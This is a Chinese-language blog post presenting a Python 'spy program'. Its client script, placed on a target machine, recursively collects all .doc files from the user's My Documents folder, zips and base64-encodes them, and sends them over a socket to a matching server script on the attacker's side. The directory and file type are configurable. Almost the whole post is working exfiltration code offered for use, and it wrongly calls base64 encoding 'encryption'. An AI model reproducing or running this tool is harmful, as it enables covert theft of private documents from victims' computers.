python 间谍程序传输文件 socket编程


本程序实现了,把目标机器的某个目录(可控)的所有的某种类型文件(可控)全部获取并传到己方的机器上。
1、用了base64的encode(infile,outfile)加密,以及decode(infile,outfile)解密,这是2进制加密解密
2、用zip压缩
3、socket中server.py放到自己这方python server.py,然后client.py放到目标机器,然后python client.py即可
4、本程序设置了获取doc文件,修改extName可以获取其它类型文件
 
server.py
[python]  
# -*- coding: cp936 -*-  
import socket  
import win32com.client  
import os  
import zipfile  
import codecs  
import base64  
  
def main():  
    HOST = '127.0.0.1'  
    PORT = 2000  
    BUF_SIZE = 6553500 #6M  
    key = 'ouyang'  
    timeout = 5  
    dicName = "ouyang\\"  
  
  
    ss = socket.socket(socket.AF_INET,socket.SOCK_STREAM)  
    try:  
        ss.bind((HOST,PORT))  
        ss.listen(5)  
        print "wating for conntecting..."  
        while True:  
            try:  
                cs,addr = ss.accept()  
                socket.setdefaulttimeout(timeout)  
                  
                cs.send("200 Connected!")  
  
                #获取加密数据  
                encode_data = cs.recv(BUF_SIZE)  
  
                              
                #把数据写到out.zip文件  
                tmpfile = open('out.tmp','wb')  
                try:  
                    tmpfile.write(encode_data)  
                    tmpfile.close()  
                except IOError,e:  
                    print 'Strange error creating IOError:%s' % e     
                    tmpfile.close()  
                finally:  
                    tmpfile.close()  
  
                #base64 decode 2进制 解密 decode(infile,outfile)  
                tmpfile = open('out.tmp','rb')  
                outfile = open('out.zip','wb')  
                base64.decode(tmpfile,outfile)  
                tmpfile.close()  
                outfile.close()  
                  
                #打开zip文件  
                zfile = zipfile.ZipFile('out.zip','r')  
  
                #创建一个文件夹来存放获取的zip文件  
                if not os.path.exists(dicName):  
                    os.mkdir(dicName)  
  
                for f in zfile.namelist():  
                    data = zfile.read(f)  
                    file = open(dicName+os.path.basename(f),'w+b')  
                    file.write(data)  
                    file.close()  
                print "finished!!!"  
                zfile.close()  
  
                #后续处理 删除临时文件  
                os.remove('out.tmp')  
                  
                cs.close()  
                  
            except socket.error, e:     
                print 'Strange error creating socket:%s' % e     
                cs.close()  
        ss.close()  
    except socket.error, e:  
        print 'Strange error creating socket:%s' % e     
        ss.close()  
  
if __name__=='__main__':  
    main()  
 
client.py
[python] 
# -*- coding: cp936 -*-  
import socket  
import win32com.client  
import win32api  
import os  
import time  
import zipfile  
import codecs  
import base64  
  
def walk_dir(dir,filelist,extName,topdown=True):  
    for root, dirs, files in os.walk(dir, topdown):  
        for name in files:  
            if (os.path.splitext(os.path.join(root,name)))[-1] == extName:  
                filelist.append(os.path.join(root,name))         
        for name in dirs:  
            if (os.path.splitext(os.path.join(root,name)))[-1] == extName:  
                filelist.append(os.path.join(root,name))  
def main():          
    HOST = '127.0.0.1'  
    PORT = 2000  
    BUF_SIZE = 65535  
    key = 'ouyang'  
    dicName = "C:\Documents and Settings\Administrator\我的文档"  
    extName = '.doc'  
  
    #遍历搜索我的文档的doc类型  
    try:  
        filelist = []  
        walk_dir(dicName,filelist,extName)  
    except IOError,e:  
        print "文件处理错误: " % e  
        sys.exit(-1)  
  
    cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    
    try:  
        cs.connect((HOST,PORT))  
        print cs.recv(BUF_SIZE)  
          
        #压缩成zip文件  
        zfile = zipfile.ZipFile('in.zip','w',zipfile.ZIP_DEFLATED)  
        for f in filelist:  
            zfile.write(f)  
        zfile.close()  
          
        #base 2进制 加密 encode(infile,outfile)  
        infile = open('in.zip','rb')  
        tmpfile = open('in.tmp','wb')  
        base64.encode(infile,tmpfile)  
        infile.close()  
        tmpfile.close()  
          
        #send  
        tmpfile = open('in.tmp','rb')  
        cs.send(tmpfile.read())  
        tmpfile.close()  
  
        #后续处理 删除中间文件  
        os.remove('in.tmp')  
          
        cs.close()  
    except socket.error ,e:  
        print 'socket 出错啦:' % e  
        cs.close()  
  
if __name__=='__main__':  
    main()  

相关内容

    暂无相关文章

评论关闭